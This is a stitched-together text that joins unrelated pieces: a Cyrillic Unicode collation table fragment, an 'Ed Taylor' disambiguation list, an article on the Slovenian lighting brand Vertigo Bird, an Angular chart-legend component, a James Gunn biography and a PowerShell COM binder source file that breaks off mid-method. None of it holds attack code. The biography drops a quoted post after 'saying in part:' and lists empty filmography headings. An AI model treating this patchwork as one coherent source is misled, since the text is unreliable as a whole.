04F2 ; [.247F.0020.0021][.0000.0000.001D][.0000.002C.0002] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
04EF ; [.247F.0020.0021][.0000.0000.001C][.0000.0032.0002] # CYRILLIC SMALL LETTER U WITH MACRON
04EE ; [.247F.0020.0021][.0000.0000.001D][.0000.0032.0002] # CYRILLIC CAPITAL LETTER U WITH MACRON
0463 ; [.250B.0020.0002] # CYRILLIC SMALL LETTER YAT
0462 ; [.250B.0020.0008] # CYRILLIC CAPITAL LETTER YAT
046B ; [.250F.0020.0002] # CYRILLIC SMALL LETTER BIG YUS
046A ; [.250F.0020.0008] # CYRILLIC CAPITAL LETTER BIG YUS
A657 ; [.2515.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED A
A656 ; [.2515.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED A
0467 ; [.2515.0020.001C] # CYRILLIC SMALL LETTER LITTLE YUS
0466 ; [.2515.0020.001D] # CYRILLIC CAPITAL LETTER LITTLE YUS
04D1 ; [.2387.0020.0002][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER A WITH BREVE
04D0 ; [.2387.0020.0008][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER A WITH BREVE
04D3 ; [.2387.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER A WITH DIAERESIS
04D2 ; [.2387.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS
0450 ; [.23BF.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER IE WITH GRAVE
0400 ; [.23BF.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER IE WITH GRAVE
04D7 ; [.23BF.0020.0002][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER IE WITH BREVE
04D6 ; [.23BF.0020.0008][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER IE WITH BREVE
0451 ; [.23BF.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER IO
0401 ; [.23BF.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER IO
045D ; [.23E5.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER I WITH GRAVE
040D ; [.23E5.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER I WITH GRAVE
04E5 ; [.23E5.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER I WITH DIAERESIS
04E4 ; [.23E5.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER I WITH DIAERESIS
04ED ; [.250A.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER E WITH DIAERESIS
04EC ; [.250A.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS
0477 ; [.253C.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
0476 ; [.253C.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
0439 ; [.23E5.0020.0002][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER SHORT I
0419 ; [.23E5.0020.0008][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER SHORT I
ENTRY
};
```
|
Ed Taylor may refer to:
Ed Taylor (American football) (b. 1953), American football player
Ed Taylor (pitcher) (1877–1912), American baseball pitcher
Ed Taylor (infielder) (1901–1992), American baseball infielder
See also
Edward Taylor (disambiguation)
Edwin Taylor (disambiguation)
Ted Taylor (disambiguation)
Teddy Taylor (disambiguation)
|
Vertigo Bird is a Slovenian brand that designs and manufactures lighting products. It consists of several design companies and an individual group of designers created by the company founder himself, called Smoke Detektors. The brand started as part of a Slovene international lighting company, Arcadia Lightwear, founded in 1989 by Silvo Kačar. Around 2010 Vertigo Bird became its own company located in Ljubljana, Slovenia. In 2022 brand was bought by Rona trgovina d.o.o., lighting distribution company from Kranj, Slovenia. Under the new ownership it is now undergoing a huge digital and technical transformation.
The brand's most recognizable motif and also its official logo, the angel, represents the company's motto: "Unpredictably elegant + unexpectedly functional."
In 2008, the light LUC by Arne Vehovar was nominated for BIO, the Biennial of Industrial Design. In 2009, the light SLIM by Bevk Perovic arhitekti won the Red Dot Award: Product Design 2009.
Lighting brands
Slovenian brands
Design companies of Slovenia
|
```xml
import {
ChangeDetectionStrategy,
Component,
EventEmitter,
Input,
OnChanges,
Output,
SimpleChanges,
ViewEncapsulation
} from '@angular/core';
import { trimLabel } from '../trim-label.helper';
import { formatLabel } from '../label.helper';
import { DataItem, StringOrNumberOrDate } from '../../models/chart-data.model';
import { ColorHelper } from '../color.helper';
export interface AdvancedLegendItem {
value: StringOrNumberOrDate;
_value: StringOrNumberOrDate;
color: string;
data: DataItem;
label: string;
displayLabel: string;
originalLabel: string;
percentage: string;
}
@Component({
selector: 'ngx-charts-advanced-legend',
template: `
<div class="advanced-pie-legend" [style.width.px]="width">
<div
*ngIf="animations"
class="total-value"
ngx-charts-count-up
[countTo]="roundedTotal"
[valueFormatting]="valueFormatting"
></div>
<div class="total-value" *ngIf="!animations">
{{ valueFormatting ? valueFormatting(roundedTotal) : defaultValueFormatting(roundedTotal) }}
</div>
<div class="total-label">
{{ label }}
</div>
<div class="legend-items-container">
<div class="legend-items">
<div
*ngFor="let legendItem of legendItems; trackBy: trackBy"
tabindex="-1"
class="legend-item"
(mouseenter)="activate.emit(legendItem.data)"
(mouseleave)="deactivate.emit(legendItem.data)"
(click)="select.emit(legendItem.data)"
>
<div class="item-color" [style.border-left-color]="legendItem.color"></div>
<div
*ngIf="animations"
class="item-value"
ngx-charts-count-up
[countTo]="legendItem._value"
[valueFormatting]="valueFormatting"
></div>
<div *ngIf="!animations" class="item-value">
{{ valueFormatting ? valueFormatting(legendItem.value) : defaultValueFormatting(legendItem.value) }}
</div>
<div class="item-label">{{ legendItem.displayLabel }}</div>
<div
*ngIf="animations"
class="item-percent"
ngx-charts-count-up
[countTo]="legendItem.percentage"
[countSuffix]="'%'"
></div>
<div *ngIf="!animations" class="item-percent">{{ legendItem.percentage.toLocaleString() }}%</div>
</div>
</div>
</div>
</div>
`,
styleUrls: ['./advanced-legend.component.scss'],
encapsulation: ViewEncapsulation.None,
changeDetection: ChangeDetectionStrategy.OnPush
})
export class AdvancedLegendComponent implements OnChanges {
@Input() width: number;
@Input() data: DataItem[];
@Input() colors: ColorHelper;
@Input() label: string = 'Total';
@Input() animations: boolean = true;
@Output() select: EventEmitter<DataItem> = new EventEmitter();
@Output() activate: EventEmitter<DataItem> = new EventEmitter();
@Output() deactivate: EventEmitter<DataItem> = new EventEmitter();
legendItems: AdvancedLegendItem[] = [];
total: number;
roundedTotal: number;
@Input() valueFormatting: (value: StringOrNumberOrDate) => any;
@Input() labelFormatting: (value: string) => string = label => label;
@Input() percentageFormatting: (value: number) => number = percentage => percentage;
defaultValueFormatting: (value: StringOrNumberOrDate) => string = value => value.toLocaleString();
ngOnChanges(changes: SimpleChanges): void {
this.update();
}
getTotal(): number {
return this.data.map(d => Number(d.value)).reduce((sum, d) => sum + d, 0);
}
update(): void {
this.total = this.getTotal();
this.roundedTotal = this.total;
this.legendItems = this.getLegendItems();
}
getLegendItems(): AdvancedLegendItem[] {
return (this.data as any).map(d => {
const label = formatLabel(d.name);
const value = d.value;
const color = this.colors.getColor(label);
const percentage = this.total > 0 ? (value / this.total) * 100 : 0;
const formattedLabel = typeof this.labelFormatting === 'function' ? this.labelFormatting(label) : label;
return {
_value: value,
data: d,
value,
color,
label: formattedLabel,
displayLabel: trimLabel(formattedLabel, 20),
origialLabel: d.name,
percentage: this.percentageFormatting ? this.percentageFormatting(percentage) : percentage.toLocaleString()
};
});
}
trackBy(index: number, item: AdvancedLegendItem) {
return item.label;
}
}
```
|
James Francis Gunn Jr. (born August 5, 1966) is an American filmmaker and studio executive. He began his career as a screenwriter in the mid-1990s, starting at Troma Entertainment with Tromeo and Juliet (1997). He then began working as a director, starting with the horror-comedy film Slither (2006), and moving to the superhero genre with Super (2010), Guardians of the Galaxy (2014), Guardians of the Galaxy Vol. 2 (2017), The Suicide Squad (2021), and Guardians of the Galaxy Vol. 3 (2023). In 2022, Warner Bros. Discovery hired Gunn and Peter Safran to become co-chairmen and co-CEOs of DC Studios. Under DC Studios, Gunn will co-produce and executive produce every film and television series under the upcoming DC Universe (DCU) media franchise alongside Safran, which will act as a soft-reboot of the DC Extended Universe (DCEU). He will also continue to write and direct various projects set in the DCU, including the upcoming film Superman: Legacy (2025).
He also wrote and directed the web series James Gunn's PG Porn (2008–2009), the HBO Max original series Peacemaker (2022–present) and Creature Commandos (2024), and the Disney+ original special The Guardians of the Galaxy Holiday Special (2022). Other projects he is known for is writing for the 2004 remake of George A. Romero's Dawn of the Dead (1978), writing the live-action adaptation of Scooby Doo (2002), and its sequel Scooby-Doo 2: Monsters Unleashed (2004), writing and producing the horror-action film The Belko Experiment (2016), producing the superhero-horror film Brightburn (2019), and contributing to comedy-anthology film Movie 43 (2013) (directing the segment "Beezel") and the 2012 hack-and-slash video game Lollipop Chainsaw.
Early life
James Francis Gunn Jr. was born on August 5, 1966 in St. Louis, Missouri, to parents James F. Gunn, an attorney, and Leota "Lee" (Hynek). He was raised Catholic in the St Louis suburb municipality of Manchester, Missouri. He has five siblings — actor Sean, actor and political writer Matt, screenwriter Brian, Patrick, and Beth. Gunn is of Irish and Jewish descent his father coming from an Irish immigrant family. Gunn has stated that his family's surname was originally the Irish name MacGilgunn and that it means "sons to the servants of the god of the dead"; it actually means "son of the brown youth."
Growing up, Gunn was influenced by low-budget films such as Night of the Living Dead and Friday the 13th. He read magazines like Fangoria and attended genre movie screenings, including the original Dawn of the Dead at the Tivoli Theatre in St. Louis. At the age of 12, he began making 8 mm zombie films with his brothers in the woods near their home.
Gunn and his brothers all attended the Jesuit St. Louis University High School, where he graduated in 1984. He went on to earn a Bachelor of Arts from Saint Louis University. While at Saint Louis University, Gunn created political cartoons for the school's student weekly, The University News. Gunn said that, at an unspecified time in his college education, "I went to two years undergraduate film school at Loyola Marymount in Los Angeles. But I was pretty screwed up at the time, and had to leave. Years later I went to graduate school at the Columbia University School of Fine Arts but I studied prose writing, not film writing." He earned a Master of Fine Arts from Columbia University in 1995.
Career
Music
While living in St. Louis, Gunn founded a band, The Icons, in 1989, serving as lead vocalist. The group released the album Mom, We Like It Here on Earth in 1994, and its songs "Sunday" and "Walking Naked" were featured in the film Tromeo and Juliet. The Icons disbanded in the mid-1990s. Gunn has continued to work in music, composing songs for Scooby-Doo, Scooby-Doo 2: Monsters Unleashed, and Movie 43.
Film and television
Gunn began his career in filmmaking with Troma Entertainment in 1995, for which he co-wrote the independent film Tromeo and Juliet. Working alongside his mentor Lloyd Kaufman, the co-founder of Troma, Gunn learned how to write screenplays, produce films, scout locations, direct actors, distribute films, and create his own poster art. After contributing to several other Troma films, Gunn in 2000 wrote, produced and performed in the superhero comedy The Specials, directed by Craig Mazin and featuring Rob Lowe, Thomas Haden Church, Paget Brewster, Judy Greer and Jamie Kennedy.
Gunn's first major Hollywood screenplay was Scooby-Doo in 2002. In 2004, he wrote the screenplays for the remake of Dawn of the Dead and the sequel Scooby-Doo 2: Monsters Unleashed. With these films, Gunn became the first screenwriter to have two films top the box office in consecutive weeks. That same year, he executive produced and starred in the mockumentary LolliLove, directed by and starring his then-wife Jenna Fischer. His film directorial debut was the 2006 horror-comedy Slither, which was included on Rotten Tomatoes' list of the 50 Best Ever Reviewed Horror Movies.
Gunn's next projects included the comedy short film "Humanzee!" which was originally intended exclusively for the Xbox Live's Horror Meets Comedy series of short comedy films by horror directors, it was replaced with "Sparky and Mikaela" which debuted on Xbox Live on December 31, 2008. In an April 2009 interview on The Jace Hall Show, Gunn described "Sparky and Mikaela" as being "about a human [and] racoon crime fighting team and they fight crime in both the forest world, among the furry animals, and in the human world". Gunn also has a short-form web series for Spike.com titled James Gunn's PG Porn.
In 2008, Gunn was a judge on the VH1 reality television show Scream Queens, where 10 unknown actresses compete for a role in the film Saw VI.
In 2009, Gunn announced he was going to write and direct Pets, a comedy about a man who is abducted by aliens who want to turn him into a household pet, with Ben Stiller, Stuart Cornfeld and Jeremy Kramer producing. However, by March 2009, Gunn announced, "Pets unfortunately, is done. I'm gone. I left the project for various reasons. I hope it sees the light of day somehow, but it won't be with me attached as director."
In 2010, Gunn released Super, a dark comedy and superhero satire starring Rainn Wilson and Elliot Page. He also directed a segment of the 2013 comedy anthology film Movie 43 (2013); the segment starred Elizabeth Banks and Josh Duhamel. The film was critically panned.
Gunn co-wrote and directed the Marvel Studios adaptation of Guardians of the Galaxy, which was released on August 1, 2014. His brother, Sean, has a role in the film. Gunn has appeared as an actor, mostly in smaller roles or uncredited appearances in his own projects. After Dan Gilroy and Jack Black separately lamented the proliferation of superhero films, Gunn responded in a Facebook post, saying in part:
Gunn wrote and produced the horror film The Belko Experiment, which was released in 2017. In 2016, he directed three Stan Lee cameo scenes in one day, for the film Doctor Strange and two unrevealed projects.
Gunn wrote and directed Guardians of the Galaxy Vol. 2 (2017). Gunn was slated to direct Guardians of the Galaxy Vol. 3 in July 2018, but before the project started, Disney severed ties with Gunn as the director amid controversy over off-color jokes he had tweeted. Gunn was rehired in March 2019 after a mass public appeal, many saying he was the reason of the previous movies' successes.
In October 2018, Gunn was hired to write a completely new script for the DC Extended Universe film The Suicide Squad, with the intention of also serving as director, after its original director Gavin O'Connor left due to scheduling issues. In January 2019, he was officially confirmed to direct The Suicide Squad. He also wrote, directed, and produced the spin-off television series for the film centered on the character Peacemaker played by John Cena for Max. Gunn will also co-write and co-produce a live-action/animated film titled Coyote vs. Acme, based on the Looney Tunes character Wile E. Coyote, for Warner Bros. Pictures Animation. He is also executive-producing a Peacemaker spin-off centered on Amanda Waller, with Christal Henry writing and Viola Davis reprising her role from previous DCEU projects. In addition, Gunn is writing and directing another project for DC. Gunn is also involved in multiple other DC projects, including television series.
Other media
Gunn wrote a novel in 2000, The Toy Collector, a story of a hospital orderly who steals drugs from the hospital which he sells to help keep his toy collection habit alive. In 1998, he and Troma's President Lloyd Kaufman co-wrote All I Need to Know about Filmmaking I Learned from The Toxic Avenger, about his experiences with Kaufman while working at Troma.
He wrote the story for Grasshopper Manufacture's video game Lollipop Chainsaw, working with game designer Suda 51.
Firing from Disney and reinstatement
In July 2018, in reaction to Gunn's public criticisms of Donald Trump, commentator Mike Cernovich drew attention to controversial jokes that Gunn posted on social media between 2008 and 2012 involving pedophilia and the Holocaust. Amid criticism of the tweets, Disney severed ties with Gunn as the director of the upcoming Guardians of the Galaxy Vol. 3 film at the time; Gunn responded: "I have regretted [those jokes] for many years since. [...] Regardless of how much time has passed, I understand and accept the business decisions taken today. Even these many years later, I take full responsibility for the way I conducted myself then. All I can do now [is offer] my sincere and heartfelt regret [...] To everyone inside my industry and beyond, I again offer my deepest apologies."
Walt Disney Studios's decision received criticism from many entertainers and journalists, including actors Dave Bautista, Selma Blair, Patton Oswalt, David Dastmalchian, Michael Ian Black, Mikaela Hoover, Mike Colter, Alex Winter, David Hasselhoff, directors Joe Carnahan and Fede Álvarez, comics artist Jim Starlin, musician Rhett Miller, comedian Jim Jefferies, Rick and Morty creators Justin Roiland and Dan Harmon, journalist David A. French and Troma Entertainment founder and president Lloyd Kaufman. Bobcat Goldthwait, who worked as a voice actor on the 1997 Disney film Hercules, responded to the incident by asking Disney to remove his voice from an upcoming park attraction based on the film.
A number of media outlets criticized Disney's decision, including Collider, Cartoon Brew, The Daily Dot, The Independent, National Review, MovieWeb, and Vulture. An online petition urging Disney to re-hire Gunn received over 400,000 signatures. On July 30, 2018, Guardians of the Galaxy cast members Chris Pratt, Zoe Saldana, Dave Bautista, Bradley Cooper, Vin Diesel, Sean Gunn, Karen Gillan, Pom Klementieff and Michael Rooker released a joint statement through social media expressing their support for Gunn.
Because of the situation, Sony Pictures decided to not promote the horror film Brightburn, which Gunn produced, at the 2018 San Diego Comic-Con. However, when the first trailer for the film was released on December 8, 2018, Gunn's name was prominently featured. The film opened in May 2019.
In March 2019, Gunn was reinstated by Disney as director of the film after meeting with Alan Horn, chairman of Walt Disney Studios. Gunn started production on Guardians of the Galaxy Vol. 3 in October 2021, after The Suicide Squad had been completed.
DC Studios
Gunn and Peter Safran had advised David Zaslav, the CEO of the newly-created Warner Bros. Discovery, during his search for a new head of DC Films. The duo impressed Zaslav who decided to appoint them as the co-chairpersons and CEOs of DC Films, rebranded as "DC Studios", with control over films, animation and television projects based on characters from DC Comics. Gunn oversees the creative aspects and will be exclusive to Warner Bros. Discovery during his tenure, except for his prior commitments to Disney. The two assumed their positions on November 1, 2022.
In December 2022, Gunn announced that he was writing a film about a young Superman during his early years in Metropolis, later revealed to be titled Superman: Legacy and scheduled for release in July 2025; in March 2023 it was confirmed Gunn would also direct the project. In January 2023, Gunn and Safran revealed their plans for future DCU films, with the first chapter being titled "Gods and Monsters". Gunn was also revealed to be writing a seven-episode animated series titled Creature Commandos, based on the comic book team of the same name, and working on the HBO Max series Waller, a spin-off of Peacemaker focusing on the character of Amanda Waller.
Personal life
Gunn married actress Jenna Fischer on October 7, 2000. After seven years of marriage, Gunn and Fischer announced their separation in a joint statement on September 5, 2007, divorcing in 2008. The two remained friends. In 2010, Fischer persuaded Gunn to cast Rainn Wilson, her co-star on The Office, in Gunn's film Super.
Gunn has been in a relationship with actress Jennifer Holland since 2015. In February 2022, Holland and Gunn became engaged, and were married at the end of September 2022.
Gunn was raised in a Catholic family and has mentioned how prayer continues to play an important role in his life, but has also said that he is "in some ways, anti-religion".
Filmography
Film
Executive producer
Other roles
Short films
Acting roles
Television
Acting roles
Video games
Theme parks
Collaborators
Additionally, John Cena, Elizabeth Banks, and David Dastmalchian have all appeared in a project produced by Gunn, in addition to a project directed by him.
Awards and nominations
Bibliography
Notes
See also
James Gunn's unrealized projects
References
External links
James Gunn at The Filmaholic
1966 births
Living people
20th-century American male actors
20th-century American male writers
20th-century American novelists
20th-century American screenwriters
21st-century American male actors
21st-century American male writers
21st-century American novelists
21st-century American screenwriters
Action film directors
Age controversies
American film directors
American film producers
American film studio executives
American male film actors
American male novelists
American male screenwriters
American male television writers
American people of Irish descent
American people of Jewish descent
American television directors
American television producers
American television writers
Columbia University School of the Arts alumni
Columbia University alumni
Comedy film directors
English-language film directors
Film directors from Missouri
Film producers from Missouri
Hugo Award-winning writers
Loyola Marymount University alumni
Male actors from St. Louis
Nebula Award winners
Saint Louis University alumni
Screenwriters from Missouri
Science fiction film directors
Television producers from Missouri
Warner Bros. people
|
```smalltalk
// The .NET Foundation licenses this file to you under the MIT license.
using System.Collections.Generic;
using System.Dynamic;
using System.Linq;
using System.Linq.Expressions;
using System.Management.Automation.Language;
using System.Runtime.InteropServices;
namespace System.Management.Automation.ComInterop
{
/// <summary>
/// Provides helper methods to bind COM objects dynamically.
/// </summary>
internal static class ComBinder
{
/// <summary>
/// Determines if an object is a COM object.
/// </summary>
/// <param name="value">The object to test.</param>
/// <returns>True if the object is a COM object, false otherwise.</returns>
public static bool IsComObject(object value)
{
return value != null && Marshal.IsComObject(value);
}
/// <summary>
/// Tries to perform binding of the dynamic get member operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="GetMemberBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation. </param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <param name="delayInvocation">True if member evaluation may be delayed.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindGetMember(GetMemberBinder binder, DynamicMetaObject instance, out DynamicMetaObject result, bool delayInvocation)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
if (TryGetMetaObject(ref instance))
{
var comGetMember = new ComGetMemberBinder(binder, delayInvocation);
result = instance.BindGetMember(comGetMember);
if (result.Expression.Type.IsValueType)
{
result = new DynamicMetaObject(
Expression.Convert(result.Expression, typeof(object)),
result.Restrictions
);
}
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic set member operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="SetMemberBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation.</param>
/// <param name="value">The <see cref="DynamicMetaObject"/> representing the value for the set member operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindSetMember(SetMemberBinder binder, DynamicMetaObject instance, DynamicMetaObject value, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
Requires.NotNull(value);
if (TryGetMetaObject(ref instance))
{
result = instance.BindSetMember(binder, value);
result = new DynamicMetaObject(result.Expression, result.Restrictions.Merge(value.PSGetMethodArgumentRestriction()));
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic invoke operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="InvokeBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation. </param>
/// <param name="args">An array of <see cref="DynamicMetaObject"/> instances - arguments to the invoke member operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindInvoke(InvokeBinder binder, DynamicMetaObject instance, DynamicMetaObject[] args, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
Requires.NotNull(args);
if (TryGetMetaObjectInvoke(ref instance))
{
result = instance.BindInvoke(binder, args);
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic invoke member operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="InvokeMemberBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="isSetProperty">True if this is for setting a property, false otherwise.</param>
/// <param name="instance">The target of the dynamic operation. </param>
/// <param name="args">An array of <see cref="DynamicMetaObject"/> instances - arguments to the invoke member operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindInvokeMember(InvokeMemberBinder binder, bool isSetProperty, DynamicMetaObject instance, DynamicMetaObject[] args, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
Requires.NotNull(args);
if (TryGetMetaObject(ref instance))
{
var comInvokeMember = new ComInvokeMemberBinder(binder, isSetProperty);
result = instance.BindInvokeMember(comInvokeMember, args);
BindingRestrictions argRestrictions = args.Aggregate(
BindingRestrictions.Empty, (current, arg) => current.Merge(arg.PSGetMethodArgumentRestriction()));
var newRestrictions = result.Restrictions.Merge(argRestrictions);
if (result.Expression.Type.IsValueType)
{
result = new DynamicMetaObject(
Expression.Convert(result.Expression, typeof(object)),
newRestrictions
);
}
else
{
result = new DynamicMetaObject(result.Expression, newRestrictions);
}
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic get index operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="GetIndexBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation. </param>
/// <param name="args">An array of <see cref="DynamicMetaObject"/> instances - arguments to the invoke member operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindGetIndex(GetIndexBinder binder, DynamicMetaObject instance, DynamicMetaObject[] args, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
Requires.NotNull(args);
if (TryGetMetaObjectInvoke(ref instance))
{
result = instance.BindGetIndex(binder, args);
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic set index operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="SetIndexBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation. </param>
/// <param name="args">An array of <see cref="DynamicMetaObject"/> instances - arguments to the invoke member operation.</param>
/// <param name="value">The <see cref="DynamicMetaObject"/> representing the value for the set index operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryBindSetIndex(SetIndexBinder binder, DynamicMetaObject instance, DynamicMetaObject[] args, DynamicMetaObject value, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
Requires.NotNull(args);
Requires.NotNull(value);
if (TryGetMetaObjectInvoke(ref instance))
{
result = instance.BindSetIndex(binder, args, value);
result = new DynamicMetaObject(result.Expression, result.Restrictions.Merge(value.PSGetMethodArgumentRestriction()));
return true;
}
result = null;
return false;
}
/// <summary>
/// Tries to perform binding of the dynamic Convert operation.
/// </summary>
/// <param name="binder">An instance of the <see cref="ConvertBinder"/> that represents the details of the dynamic operation.</param>
/// <param name="instance">The target of the dynamic operation.</param>
/// <param name="result">The new <see cref="DynamicMetaObject"/> representing the result of the binding.</param>
/// <returns>True if operation was bound successfully; otherwise, false.</returns>
public static bool TryConvert(ConvertBinder binder, DynamicMetaObject instance, out DynamicMetaObject result)
{
Requires.NotNull(binder);
Requires.NotNull(instance);
if (IsComObject(instance.Value))
{
// Converting a COM object to any interface is always considered possible - it will result in
// a QueryInterface at runtime
if (binder.Type.IsInterface)
{
result = new DynamicMetaObject(
Expression.Convert(
instance.Expression,
binder.Type
),
BindingRestrictions.GetExpressionRestriction(
Expression.Call(
typeof(ComBinder).GetMethod(nameof(ComBinder.IsComObject), System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public),
Helpers.Convert(instance.Expression, typeof(object))
)
)
);
return true;
}
}
result = null;
return false;
}
/// <summary>
/// Gets the member names of the data-like members associated with the object.
/// This function can operate only with objects for which <see cref="IsComObject"/> returns true.
/// </summary>
/// <param name="value">The object for which member names are requested.</param>
/// <returns>The collection of member names.</returns>
internal static IList<string> GetDynamicDataMemberNames(object value)
{
Requires.NotNull(value);
Requires.Condition(IsComObject(value), nameof(value));
return ComObject.ObjectToComObject(value).GetMemberNames(true);
}
/// <summary>
/// Gets the data-like members and associated data for an object.
/// This function can operate only with objects for which <see cref="IsComObject"/> returns true.
/// </summary>
/// <param name="value">The object for which data members are requested.</param>
/// <param name="names">The enumeration of names of data members for which to retrieve values.</param>
/// <returns>The collection of pairs that represent data member's names and their data.</returns>
internal static IList<KeyValuePair<string, object>> GetDynamicDataMembers(object value, IEnumerable<string> names)
{
Requires.NotNull(value);
Requires.Condition(IsComObject(value), nameof(value));
return ComObject.ObjectToComObject(value).GetMembers(names);
}
private static bool TryGetMetaObject(ref DynamicMetaObject instance)
{
// If we're already a COM MO don't make a new one
// (we do this to prevent recursion if we call Fallback from COM)
if (instance is ComUnwrappedMetaObject)
{
return false;
}
if (IsComObject(instance.Value))
{
instance = new ComMetaObject(instance.Expression, instance.Restrictions, instance.Value);
return true;
}
return false;
}
private static bool TryGetMetaObjectInvoke(ref DynamicMetaObject instance)
{
// If we're already a COM MO don't make a new one
// (we do this to prevent recursion if we call Fallback from COM)
if (TryGetMetaObject(ref instance))
{
return true;
}
if (instance.Value is IPseudoComObject o)
{
instance = o.GetMetaObject(instance.Expression);
return true;
}
return false;
}
/// <summary>
/// Special binder that indicates special semantics for COM GetMember operation.
/// </summary>
internal class ComGetMemberBinder : GetMemberBinder
{
private readonly GetMemberBinder _originalBinder;
internal bool _canReturnCallables;
internal ComGetMemberBinder(GetMemberBinder originalBinder, bool canReturnCallables)
: base(originalBinder.Name, originalBinder.IgnoreCase)
{
_originalBinder = originalBinder;
_canReturnCallables = canReturnCallables;
}
public override DynamicMetaObject FallbackGetMember(DynamicMetaObject target, DynamicMetaObject errorSuggestion)
{
return _originalBinder.FallbackGetMember(target, errorSuggestion);
}
public override int GetHashCode()
{
return _originalBinder.GetHashCode() ^ (_canReturnCallables ? 1 : 0);
}
public override bool Equals(object obj)
{
return obj is ComGetMemberBinder other
&& _canReturnCallables == other._canReturnCallables
&& _originalBinder.Equals(other._originalBinder);
}
}
/// <summary>
/// Special binder that indicates special semantics for COM InvokeMember operation.
/// </summary>
internal class ComInvokeMemberBinder : InvokeMemberBinder
{
private readonly InvokeMemberBinder _originalBinder;
internal bool IsPropertySet;
internal ComInvokeMemberBinder(InvokeMemberBinder originalBinder, bool isPropertySet)
: base(originalBinder.Name, originalBinder.IgnoreCase, originalBinder.CallInfo)
{
_originalBinder = originalBinder;
this.IsPropertySet = isPropertySet;
}
public override DynamicMetaObject FallbackInvoke(DynamicMetaObject target, DynamicMetaObject[] args, DynamicMetaObject errorSuggestion)
{
return _originalBinder.FallbackInvoke(target, args, errorSuggestion);
}
public override DynamicMetaObject FallbackInvokeMember(DynamicMetaObject target, DynamicMetaObject[] args, DynamicMetaObject errorSuggestion)
{
return _originalBinder.FallbackInvokeMember(target, args, errorSuggestion);
}
public override int GetHashCode()
{
